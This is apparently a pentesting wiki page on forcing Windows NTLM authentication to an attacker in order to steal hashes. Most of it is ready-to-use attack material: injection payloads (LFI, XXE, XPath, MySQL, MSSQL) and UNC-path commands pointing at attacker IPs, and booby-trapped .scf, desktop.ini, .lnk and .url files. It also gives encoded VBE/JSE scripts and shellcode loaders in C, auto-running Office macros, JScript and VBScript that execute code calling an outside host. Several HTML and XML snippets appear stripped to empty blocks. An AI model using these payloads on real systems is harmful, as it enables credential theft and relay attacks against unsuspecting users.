# Places to steal NTLM creds ## Automatic Payloads Creation & Other lists ### [ntlm\_theft](https://github.com/Greenwolf/ntlm_theft) This tool will **create several documents/files** that if accessed by the user somehow they will **start a NTLM authentication with the attacker**. #### ntlm_theft supports the following attack types: Browse to Folder Containing: - .url – via URL field - .url – via ICONFILE field - .lnk - via icon_location field - .scf – via ICONFILE field (Not Working on Latest Windows) - autorun.inf via OPEN field (Not Working on Latest Windows) - desktop.ini - via IconResource field (Not Working on Latest Windows) Open Document: - .xml – via Microsoft Word external stylesheet - .xml – via Microsoft Word includepicture field - .htm – via Chrome & IE & Edge img src (only if opened locally, not hosted) - .docx – via Microsoft Word includepicture field -.docx – via Microsoft Word external template -.docx – via Microsoft Word frameset webSettings -.xlsx - via Microsoft Excel external cell -.wax - via Windows Media Player playlist (Better, primary open) -.asx – via Windows Media Player playlist (Better, primary open) -.m3u – via Windows Media Player playlist (Worse, Win10 opens first in Groovy) -.jnlp – via Java external jar -.application – via any Browser (Must be served via a browser downloaded or won’t run) Open Document and Accept Popup: - .pdf – via Adobe Acrobat Reader Click Link in Chat Program: - .txt – formatted link to paste into Zoom chat > Example : ```sh # python3 ntlm_theft.py -g all -s 127.0.0.1 -f test Created: test/test.scf (BROWSE) Created: test/test-(url).url (BROWSE) Created: test/test-(icon).url (BROWSE) Created: test/test.rtf (OPEN) Created: test/test-(stylesheet).xml (OPEN) Created: test/test-(fulldocx).xml (OPEN) Created: test/test.htm (OPEN FROM DESKTOP WITH CHROME, IE OR EDGE) Created: test/test-(includepicture).docx (OPEN) Created: test/test-(remotetemplate).docx (OPEN) Created: test/test-(frameset).docx (OPEN) Created: test/test.m3u (OPEN IN WINDOWS MEDIA PLAYER ONLY) Created: test/test.asx (OPEN) Created: test/test.jnlp (OPEN) Created: test/test.application (DOWNLOAD AND OPEN) Created: test/test.pdf (OPEN AND ALLOW) Created: test/zoom-attack-instructions.txt (PASTE TO CHAT) Generation Complete. ``` ### [All\_NTLM-Leak](https://github.com/Gl3bGl4z/All_NTLM_leak) > Cheatsheet This is a list of techniques to force NTLM authentications to steal credentials from the victim. ### Force NTLM Privileged Authentication You may be able to **force a windows machine to authenticate to an arbitrary machine** using a privileged account. Read the following page to learn more: {% page-ref page="../active-directory-methodology/printers-spooler-service-abuse.md" %} ## LFI The include\(\) in PHP will resolve the network path for us. ```text http://host.tld/?page=//11.22.33.44/@OsandaMalith ``` ![](https://osandamalith.files.wordpress.com/2017/03/lfi.png?w=640) ## XXE In here I’m using “php://filter/convert.base64-encode/resource=” that will resolve a network path. ```markup ]> OUT&xxe;OUT ``` ![](https://osandamalith.files.wordpress.com/2017/03/xxe.png?w=640) ## XPath Injection Usually, doc\(\) is used in out-of-band XPath injections, thus can be applied in resolving a network path. ```text http://host.tld/?title=Foundation&type=*&rent_days=* and doc('//35.164.153.224/@OsandaMalith') ``` ![](https://osandamalith.files.wordpress.com/2017/03/xpath.png?w=640) ## MySQL Injection I have written a complete [post ](https://osandamalith.com/2017/02/03/mysql-out-of-band-hacking/)on MySQL out-of-band injections which can be applied over the internet. You can also use ‘INTO OUTFILE’ to resolve a network path. ```text http://host.tld/index.php?id=1’ union select 1,2,load_file(‘\\\\192.168.0.100\\@OsandaMalith’),4;%00 ``` ![](https://osandamalith.files.wordpress.com/2017/02/overinternet.png?w=640) ## MSSQL Since stacked queries are supported we can call stored procedures. ```text ';declare @q varchar(99);set @q='\\192.168.254.52\test'; exec master.dbo.xp_dirtree @q ``` ## Regsvr32 Accidently found this one while experimenting with .sct files. ```text regsvr32 /s /u /i://35.164.153.224/@OsandaMalith scrobj.dll ``` ![](https://osandamalith.files.wordpress.com/2017/03/regsvr32.png?w=640) ## Batch There are many possible ways you can explore ```text echo 1 > //192.168.0.1/abc pushd \\192.168.0.1\abc cmd /k \\192.168.0.1\abc cmd /c \\192.168.0.1\abc start \\192.168.0.1\abc mkdir \\192.168.0.1\abc type\\192.168.0.1\abc dir\\192.168.0.1\abc find, findstr, [x]copy, move, replace, del, rename and many more! ``` ![](https://osandamalith.files.wordpress.com/2017/03/batch.png?w=640) ## Auto-Complete You just need to type ‘\host\’ the auto-complete will do the trick under the explorer and the run dialog box. ![](https://osandamalith.files.wordpress.com/2017/03/explorer.png?w=640) ![](https://osandamalith.files.wordpress.com/2017/03/run.png?w=640) ## Autorun.inf Starting from Windows 7 this feature is disabled. However you can enable by changing the group policy for Autorun. Make sure to hide the Autorun.inf file to work. ```text [autorun] open=\\35.164.153.224\setup.exe icon=something.ico action=open Setup.exe ``` ## Shell Command Files You can save this as something.scf and once you open the folder explorer will try to resolve the network path for the icon. ```text [Shell] Command=2 IconFile=\\35.164.153.224\test.ico [Taskbar] Command=ToggleDesktop ``` ## Desktop.ini The desktop.ini files contain the information of the icons you have applied to the folder. We can abuse this to resolve a network path. Once you open the folder you should get the hashes. ```text mkdir openMe attrib +s openMe cd openMe echo [.ShellClassInfo] > desktop.ini echo IconResource=\\192.168.0.1\aa >> desktop.ini attrib +s +h desktop.ini ``` In Windows XP systems the desktop.ini file uses ‘IcondFile’ instead of ‘IconResource’. ```text [.ShellClassInfo] IconFile=\\192.168.0.1\aa IconIndex=1337 ``` ## Shortcut Files \(.lnk\) We can create a shortcut containing our network path and as you as you open the shortcut Windows will try to resolve the network path. You can also specify a keyboard shortcut to trigger the shortcut. For the icon you can give the name of a Windows binary or choose an icon from either shell32.dll, Ieframe.dll, imageres.dll, pnidui.dll or wmploc.dll located in the system32 directory. ```text Set shl = CreateObject("WScript.Shell") Set fso = CreateObject("Scripting.FileSystemObject") currentFolder = shl.CurrentDirectory Set sc = shl.CreateShortcut(fso.BuildPath(currentFolder, "\StealMyHashes.lnk")) sc.TargetPath = "\\35.164.153.224\@OsandaMalith" sc.WindowStyle = 1 sc.HotKey = "Ctrl+Alt+O" sc.IconLocation = "%windir%\system32\shell32.dll, 3" sc.Description = "I will Steal your Hashes" sc.Save ``` The Powershell version. ```text $objShell = New-Object -ComObject WScript.Shell $lnk = $objShell.CreateShortcut("StealMyHashes.lnk") $lnk.TargetPath = "\\35.164.153.224\@OsandaMalith" $lnk.WindowStyle = 1 $lnk.IconLocation = "%windir%\system32\shell32.dll, 3" $lnk.Description = "I will Steal your Hashes" $lnk.HotKey = "Ctrl+Alt+O" $lnk.Save() ``` ![](https://osandamalith.files.wordpress.com/2017/03/shortcut2.png?w=640) ## Internet Shortcuts \(.url\) Another shortcut in Windows is the Internet shortcuts. You can save this as something.url ```text echo [InternetShortcut] > stealMyHashes.url echo URL=file://192.168.0.1/@OsandaMalith >> stealMyHashes.url ``` ## Autorun with Registry You can add a new registry key in any of the following paths. ```text HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce ``` ![](https://osandamalith.files.wordpress.com/2017/03/registry.png?w=640) ## Powershell There are probably many scriptlets in Powershell that would resolve a network path. ```text Invoke-Item \\192.168.0.1\aa Get-Content \\192.168.0.1\aa Start-Process \\192.168.0.1\aa ``` ## IE IE will resolve UNC paths. For example ```text ``` You can inject under XSS or in scenarios you find SQL injection. For example. ```text http://host.tld/?id=-1' union select 1,'';%00 ``` ## VBScript You can save this as .vbs or can be used inside a macro that is applied to Word or Excel files. ```bash Set fso = CreateObject("Scripting.FileSystemObject") Set file = fso.OpenTextFile("//192.168.0.100/aa", 1) ``` You can apply in web pages but this works only with IE. ```markup ``` Here’ the encoded version. You can encode and save this as something.vbe ```text #@~^ZQAAAA==jY~6?}'ZM2mO2}4%+1YcEUmDb2YbxocorV?H/O+h6(LnmDE#=?nO,sksn{0dWcGa+U:+XYsbVcJJzf*cF*cF*2 yczmCE~8#XSAAAA==^#~@ ``` You can apply this in html files too. But only works with IE. You can save this as something.hta which will be an HTML Application under windows, which mshta.exe will execute it. By default it uses IE. ```text ``` ## JScript You can save this as something.js under windows. ```javascript var fso = new ActiveXObject("Scripting.FileSystemObject") fso.FileExists("//192.168.0.103/aa") ``` You can apply the same in html files but only works with IE. Also you can save this as something.hta. ```markup ``` Here’s the encoded version. You can save this as something.jse. ```text #@~^XAAAAA==-mD~6/K'xh,)mDk-+or8%mYvE?1DkaOrxTRwks+jzkYn:}8LmOE*i0dGcsrV3XkdD/vJzJFO+R8v0RZRqT2zlmE#Ux4AAA==^#~@ ``` The html version of this. ```markup ``` ## Windows Script Files Save this as something.wsf. ```markup ``` ## Shellcode Here’s a small shellcode I made. This shellcode uses CreateFile and tries to read a non-existing network path. You can use tools such as Responder to capture NetNTLM hashes. The shellcode can be modified to steal hashes over the internet. SMBRelay attacks can also be performed. ```text /* Title: CreateFile Shellcode Author: Osanda Malith Jayathissa (@OsandaMalith) Website: https://osandamalith.com Size: 368 Bytes */ # include # include # include # include int main() { char *shellcode = "\xe8\xff\xff\xff\xff\xc0\x5f\xb9\x4c\x03\x02\x02\x81\xf1\x02\x02" "\x02\x02\x83\xc7\x1d\x33\xf6\xfc\x8a\x07\x3c\x05\x0f\x44\xc6\xaa" "\xe2\xf6\xe8\x05\x05\x05\x05\x5e\x8b\xfe\x81\xc6\x29\x01\x05\x05" "\xb9\x02\x05\x05\x05\xfc\xad\x01\x3c\x07\xe2\xfa\x56\xb9\x8d\x10" "\xb7\xf8\xe8\x5f\x05\x05\x05\x68\x31\x01\x05\x05\xff\xd0\xb9\xe0" "\x53\x31\x4b\xe8\x4e\x05\x05\x05\xb9\xac\xd5\xaa\x88\x8b\xf0\xe8" "\x42\x05\x05\x05\x6a\x05\x68\x80\x05\x05\x05\x6a\x03\x6a\x05\x6a" "\x01\x68\x05\x05\x05\x80\x68\x3e\x01\x05\x05\xff\xd0\x6a\x05\xff" "\xd6\x33\xc0\x5e\xc3\x33\xd2\xeb\x10\xc1\xca\x0d\x3c\x61\x0f\xbe" "\xc0\x7c\x03\x83\xe8\x20\x03\xd0\x41\x8a\x01\x84\xc0\x75\xea\x8b" "\xc2\xc3\x8d\x41\xf8\xc3\x55\x8b\xec\x83\xec\x14\x53\x56\x57\x89" "\x4d\xf4\x64\xa1\x30\x05\x05\x05\x89\x45\xfc\x8b\x45\xfc\x8b\x40" "\x0c\x8b\x40\x14\x89\x45\xec\x8b\xf8\x8b\xcf\xe8\xd2\xff\xff\xff" "\x8b\x70\x18\x8b\x3f\x85\xf6\x74\x4f\x8b\x46\x3c\x8b\x5c\x30\x78" "\x85\xdb\x74\x44\x8b\x4c\x33\x0c\x03\xce\xe8\x96\xff\xff\xff\x8b" "\x4c\x33\x20\x89\x45\xf8\x33\xc0\x03\xce\x89\x4d\xf0\x89\x45\xfc" "\x39\x44\x33\x18\x76\x22\x8b\x0c\x81\x03\xce\xe8\x75\xff\xff\xff" "\x03\x45\xf8\x39\x45\xf4\x74\x1c\x8b\x45\xfc\x8b\x4d\xf0\x40\x89" "\x45\xfc\x3b\x44\x33\x18\x72\xde\x3b\x7d\xec\x75\x9c\x33\xc0\x5f" "\x5e\x5b\xc9\xc3\x8b\x4d\xfc\x8b\x44\x33\x24\x8d\x04\x48\x0f\xb7" "\x0c\x30\x8b\x44\x33\x1c\x8d\x04\x88\x8b\x04\x30\x03\xc6\xeb\xdf" "\x21\x05\x05\x05\x50\x05\x05\x05\x6b\x65\x72\x6e\x65\x6c\x33\x32" "\x2e\x64\x6c\x6c\x05\x2f\x2f\x65\x72\x72\x6f\x72\x2f\x61\x61\x05"; DWORD oldProtect; wprintf(L"Length : %d bytes\n@OsandaMalith", strlen(shellcode)); BOOL ret = VirtualProtect (shellcode, strlen(shellcode), PAGE_EXECUTE_READWRITE, &oldProtect); if (!ret) { fprintf(stderr, "%s", "Error Occured"); return EXIT_FAILURE; } ((void(*)(void))shellcode)(); VirtualProtect (shellcode, strlen(shellcode), oldProtect, &oldProtect); return EXIT_SUCCESS; } ``` [https://packetstormsecurity.com/files/141707/CreateFile-Shellcode.html](https://packetstormsecurity.com/files/141707/CreateFile-Shellcode.html) ![](https://osandamalith.files.wordpress.com/2017/03/overintenert1.png?w=640) ## Shellcode Inside Macros Here’s the above shellcode applied inside a Word/Excel macro. You can use the same code inside a VB6 application. ```text ' Author : Osanda Malith Jayathissa (@OsandaMalith) ' Title: Shellcode to request a non-existing network path ' Website: https://osandamalith ' Shellcode : https://packetstormsecurity.com/files/141707/CreateFile-Shellcode.html ' This is a word/excel macro. This can be used in vb6 applications as well #If Vba7 Then Private Declare PtrSafe Function CreateThread Lib "kernel32" ( _ ByVal lpThreadAttributes As Long, _ ByVal dwStackSize As Long, _ ByVal lpStartAddress As LongPtr, _ lpParameter As Long, _ ByVal dwCreationFlags As Long, _ lpThreadId As Long) As LongPtr Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" ( _ ByVal lpAddress As Long, _ ByVal dwSize As Long, _ ByVal flAllocationType As Long, _ ByVal flProtect As Long) As LongPtr Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" ( _ ByVal Destination As LongPtr, _ ByRef Source As Any, _ ByVal Length As Long) As LongPtr #Else Private Declare Function CreateThread Lib "kernel32" ( _ ByVal lpThreadAttributes As Long, _ ByVal dwStackSize As Long, _ ByVal lpStartAddress As Long, _ lpParameter As Long, _ ByVal dwCreationFlags As Long, _ lpThreadId As Long) As Long Private Declare Function VirtualAlloc Lib "kernel32" ( _ ByVal lpAddress As Long, _ ByVal dwSize As Long, _ ByVal flAllocationType As Long, _ ByVal flProtect As Long) As Long Private Declare Function RtlMoveMemory Lib "kernel32" ( _ ByVal Destination As Long, _ ByRef Source As Any, _ ByVal Length As Long) As Long #EndIf Const MEM_COMMIT = &H1000 Const PAGE_EXECUTE_READWRITE = &H40 Sub Auto_Open() Dim source As Long, i As Long #If Vba7 Then Dim lpMemory As LongPtr, lResult As LongPtr #Else Dim lpMemory As Long, lResult As Long #EndIf Dim bShellcode(376) As Byte bShellcode(0) = 232 bShellcode(1) = 255 bShellcode(2) = 255 bShellcode(3) = 255 bShellcode(4) = 255 bShellcode(5) = 192 bShellcode(6) = 95 bShellcode(7) = 185 bShellcode(8) = 85 bShellcode(9) = 3 bShellcode(10) = 2 bShellcode(11) = 2 bShellcode(12) = 129 bShellcode(13) = 241 bShellcode(14) = 2 bShellcode(15) = 2 bShellcode(16) = 2 ..................... lpMemory = VirtualAlloc(0, UBound(bShellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE) For i = LBound(bShellcode) To UBound(bShellcode) source = bShellcode(i) lResult = RtlMoveMemory(lpMemory + i, source, 1) Next i lResult = CreateThread(0, 0, lpMemory, 0, 0, 0) End Sub Sub AutoOpen() Auto_Open End Sub Sub Workbook_Open() Auto_Open End Sub ``` [https://github.com/OsandaMalith/Shellcodes/blob/master/CreateFile/CreateFile.vba](https://github.com/OsandaMalith/Shellcodes/blob/master/CreateFile/CreateFile.vba) ## Shellcode Inside VBS and JS subTee has done many kinds of research with JS and DynamicWrapperX. You can find a POC using the DynamicWrapperX DLL. [http://subt0x10.blogspot.com/2016/09/shellcode-via-jscript-vbscript.html](http://subt0x10.blogspot.com/2016/09/shellcode-via-jscript-vbscript.html) Based on that I have ported the shellcode to JS and VBS. The fun part is we can embed shellcode in JScript or VBScript inside html and .hta formats. Note the following shellcode directs to my IP. #### JScript ```text /* * Author : Osanda Malith Jayathissa (@OsandaMalith) * Title: Shellcode to request a non-existing network path * Website: https://osandamalith.com * Shellcode : https://packetstormsecurity.com/files/141707/CreateFile-Shellcode.html * Based on subTee's JS: https://gist.github.com/subTee/1a6c96df38b9506506f1de72573ceb04 */ DX = new ActiveXObject("DynamicWrapperX"); DX.Register("kernel32.dll", "VirtualAlloc", "i=luuu", "r=u"); DX.Register("kernel32.dll","CreateThread","i=uullu","r=u" ); DX.Register("kernel32.dll", "WaitForSingleObject", "i=uu", "r=u"); var MEM_COMMIT = 0x1000; var PAGE_EXECUTE_READWRITE = 0x40; var sc = [ 0xe8, 0xff, 0xff, 0xff, 0xff, 0xc0, 0x5f, 0xb9, 0x55, 0x03, 0x02, 0x02, 0x81, 0xf1, 0x02, 0x02, 0x02, 0x02, 0x83, 0xc7, 0x1d, 0x33, 0xf6, 0xfc, 0x8a, 0x07, 0x3c, 0x05, 0x0f, 0x44, 0xc6, 0xaa, 0xe2, 0xf6, 0xe8, 0x05, 0x05, 0x05, 0x05, 0x5e, 0x8b, 0xfe, 0x81, 0xc6, 0x29, 0x01, 0x05, 0x05, 0xb9, 0x02, 0x05, 0x05, 0x05, 0xfc, 0xad, 0x01, 0x3c, 0x07, 0xe2, 0xfa, 0x56, 0xb9, 0x8d, 0x10, 0xb7, 0xf8, 0xe8, 0x5f, 0x05, 0x05, 0x05, 0x68, 0x31, 0x01, 0x05, 0x05, 0xff, 0xd0, 0xb9, 0xe0, 0x53, 0x31, 0x4b, 0xe8, 0x4e, 0x05, 0x05, 0x05, 0xb9, 0xac, 0xd5, 0xaa, 0x88, 0x8b, 0xf0, 0xe8, 0x42, 0x05, 0x05, 0x05, 0x6a, 0x05, 0x68, 0x80, 0x05, 0x05, 0x05, 0x6a, 0x03, 0x6a, 0x05, 0x6a, 0x01, 0x68, 0x05, 0x05, 0x05, 0x80, 0x68, 0x3e, 0x01, 0x05, 0x05, 0xff, 0xd0, 0x6a, 0x05, 0xff, 0xd6, 0x33, 0xc0, 0x5e, 0xc3, 0x33, 0xd2, 0xeb, 0x10, 0xc1, 0xca, 0x0d, 0x3c, 0x61, 0x0f, 0xbe, 0xc0, 0x7c, 0x03, 0x83, 0xe8, 0x20, 0x03, 0xd0, 0x41, 0x8a, 0x01, 0x84, 0xc0, 0x75, 0xea, 0x8b, 0xc2, 0xc3, 0x8d, 0x41, 0xf8, 0xc3, 0x55, 0x8b, 0xec, 0x83, 0xec, 0x14, 0x53, 0x56, 0x57, 0x89, 0x4d, 0xf4, 0x64, 0xa1, 0x30, 0x05, 0x05, 0x05, 0x89, 0x45, 0xfc, 0x8b, 0x45, 0xfc, 0x8b, 0x40, 0x0c, 0x8b, 0x40, 0x14, 0x89, 0x45, 0xec, 0x8b, 0xf8, 0x8b, 0xcf, 0xe8, 0xd2, 0xff, 0xff, 0xff, 0x8b, 0x70, 0x18, 0x8b, 0x3f, 0x85, 0xf6, 0x74, 0x4f, 0x8b, 0x46, 0x3c, 0x8b, 0x5c, 0x30, 0x78, 0x85, 0xdb, 0x74, 0x44, 0x8b, 0x4c, 0x33, 0x0c, 0x03, 0xce, 0xe8, 0x96, 0xff, 0xff, 0xff, 0x8b, 0x4c, 0x33, 0x20, 0x89, 0x45, 0xf8, 0x33, 0xc0, 0x03, 0xce, 0x89, 0x4d, 0xf0, 0x89, 0x45, 0xfc, 0x39, 0x44, 0x33, 0x18, 0x76, 0x22, 0x8b, 0x0c, 0x81, 0x03, 0xce, 0xe8, 0x75, 0xff, 0xff, 0xff, 0x03, 0x45, 0xf8, 0x39, 0x45, 0xf4, 0x74, 0x1c, 0x8b, 0x45, 0xfc, 0x8b, 0x4d, 0xf0, 0x40, 0x89, 0x45, 0xfc, 0x3b, 0x44, 0x33, 0x18, 0x72, 0xde, 0x3b, 0x7d, 0xec, 0x75, 0x9c, 0x33, 0xc0, 0x5f, 0x5e, 0x5b, 0xc9, 0xc3, 0x8b, 0x4d, 0xfc, 0x8b, 0x44, 0x33, 0x24, 0x8d, 0x04, 0x48, 0x0f, 0xb7, 0x0c, 0x30, 0x8b, 0x44, 0x33, 0x1c, 0x8d, 0x04, 0x88, 0x8b, 0x04, 0x30, 0x03, 0xc6, 0xeb, 0xdf, 0x21, 0x05, 0x05, 0x05, 0x50, 0x05, 0x05, 0x05, 0x6b, 0x65, 0x72, 0x6e, 0x65, 0x6c, 0x33, 0x32, 0x2e, 0x64, 0x6c, 0x6c, 0x05, 0x2f, 0x2f, 0x33, 0x35, 0x2e, 0x31, 0x36, 0x34, 0x2e, 0x31, 0x35, 0x33, 0x2e, 0x32, 0x32, 0x34, 0x2f, 0x61, 0x61, 0x05]; var scLocation = DX.VirtualAlloc(0, sc.length, MEM_COMMIT, PAGE_EXECUTE_READWRITE); for(var i = 0; i < sc.length; i++) DX.NumPut(sc[i],scLocation,i); var thread = DX.CreateThread(0,0,scLocation,0,0); ``` [https://github.com/OsandaMalith/Shellcodes/blob/master/CreateFile/CreateFile.js](https://github.com/OsandaMalith/Shellcodes/blob/master/CreateFile/CreateFile.js) #### VBScript ```text ' Author : Osanda Malith Jayathissa (@OsandaMalith) ' Title: Shellcode to request a non-existing network path ' Website: https://osandamalith.com ' Shellcode : https://packetstormsecurity.com/files/141707/CreateFile-Shellcode.html ' Based on subTee's JS: https://gist.github.com/subTee/1a6c96df38b9506506f1de72573ceb04 Set DX = CreateObject("DynamicWrapperX") DX.Register "kernel32.dll", "VirtualAlloc", "i=luuu", "r=u" DX.Register "kernel32.dll","CreateThread","i=uullu","r=u" DX.Register "kernel32.dll", "WaitForSingleObject", "i=uu", "r=u" Const MEM_COMMIT = &H1000 Const PAGE_EXECUTE_READWRITE = &H40 shellcode = Array( _ &He8, &Hff, &Hff, &Hff, &Hff, &Hc0, &H5f, &Hb9, &H55, &H03, &H02, &H02, &H81, &Hf1, &H02, &H02, &H02, &H02, &H83, &Hc7, _ &H1d, &H33, &Hf6, &Hfc, &H8a, &H07, &H3c, &H05, &H0f, &H44, &Hc6, &Haa, &He2, &Hf6, &He8, &H05, &H05, &H05, &H05, &H5e, _ &H8b, &Hfe, &H81, &Hc6, &H29, &H01, &H05, &H05, &Hb9, &H02, &H05, &H05, &H05, &Hfc, &Had, &H01, &H3c, &H07, &He2, &Hfa, _ &H56, &Hb9, &H8d, &H10, &Hb7, &Hf8, &He8, &H5f, &H05, &H05, &H05, &H68, &H31, &H01, &H05, &H05, &Hff, &Hd0, &Hb9, &He0, _ &H53, &H31, &H4b, &He8, &H4e, &H05, &H05, &H05, &Hb9, &Hac, &Hd5, &Haa, &H88, &H8b, &Hf0, &He8, &H42, &H05, &H05, &H05, _ &H6a, &H05, &H68, &H80, &H05, &H05, &H05, &H6a, &H03, &H6a, &H05, &H6a, &H01, &H68, &H05, &H05, &H05, &H80, &H68, &H3e, _ &H01, &H05, &H05, &Hff, &Hd0, &H6a, &H05, &Hff, &Hd6, &H33, &Hc0, &H5e, &Hc3, &H33, &Hd2, &Heb, &H10, &Hc1, &Hca, &H0d, _ &H3c, &H61, &H0f, &Hbe, &Hc0, &H7c, &H03, &H83, &He8, &H20, &H03, &Hd0, &H41, &H8a, &H01, &H84, &Hc0, &H75, &Hea, &H8b, _ &Hc2, &Hc3, &H8d, &H41, &Hf8, &Hc3, &H55, &H8b, &Hec, &H83, &Hec, &H14, &H53, &H56, &H57, &H89, &H4d, &Hf4, &H64, &Ha1, _ &H30, &H05, &H05, &H05, &H89, &H45, &Hfc, &H8b, &H45, &Hfc, &H8b, &H40, &H0c, &H8b, &H40, &H14, &H89, &H45, &Hec, &H8b, _ &Hf8, &H8b, &Hcf, &He8, &Hd2, &Hff, &Hff, &Hff, &H8b, &H70, &H18, &H8b, &H3f, &H85, &Hf6, &H74, &H4f, &H8b, &H46, &H3c, _ &H8b, &H5c, &H30, &H78, &H85, &Hdb, &H74, &H44, &H8b, &H4c, &H33, &H0c, &H03, &Hce, &He8, &H96, &Hff, &Hff, &Hff, &H8b, _ &H4c, &H33, &H20, &H89, &H45, &Hf8, &H33, &Hc0, &H03, &Hce, &H89, &H4d, &Hf0, &H89, &H45, &Hfc, &H39, &H44, &H33, &H18, _ &H76, &H22, &H8b, &H0c, &H81, &H03, &Hce, &He8, &H75, &Hff, &Hff, &Hff, &H03, &H45, &Hf8, &H39, &H45, &Hf4, &H74, &H1c, _ &H8b, &H45, &Hfc, &H8b, &H4d, &Hf0, &H40, &H89, &H45, &Hfc, &H3b, &H44, &H33, &H18, &H72, &Hde, &H3b, &H7d, &Hec, &H75, _ &H9c, &H33, &Hc0, &H5f, &H5e, &H5b, &Hc9, &Hc3, &H8b, &H4d, &Hfc, &H8b, &H44, &H33, &H24, &H8d, &H04, &H48, &H0f, &Hb7, _ &H0c, &H30, &H8b, &H44, &H33, &H1c, &H8d, &H04, &H88, &H8b, &H04, &H30, &H03, &Hc6, &Heb, &Hdf, &H21, &H05, &H05, &H05, _ &H50, &H05, &H05, &H05, &H6b, &H65, &H72, &H6e, &H65, &H6c, &H33, &H32, &H2e, &H64, &H6c, &H6c, &H05, &H2f, &H2f, &H33, _ &H35, &H2e, &H31, &H36, &H34, &H2e, &H31, &H35, &H33, &H2e, &H32, &H32, &H34, &H2f, &H61, &H61, &H05) scLocation = DX.VirtualAlloc(0, UBound(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE) For i =LBound(shellcode) to UBound(shellcode) DX.NumPut shellcode(i),scLocation,i Next thread = DX.CreateThread (0,0,scLocation,0,0) ``` [https://github.com/OsandaMalith/Shellcodes/blob/master/CreateFile/CreateFile.vbs](https://github.com/OsandaMalith/Shellcodes/blob/master/CreateFile/CreateFile.vbs) There might be many other ways in Windows. You never know! 🙂 ## References * [**https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/**](https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/)\*\*\*\* * [https://attack.mitre.org/techniques/T1187/](https://attack.mitre.org/techniques/T1187/)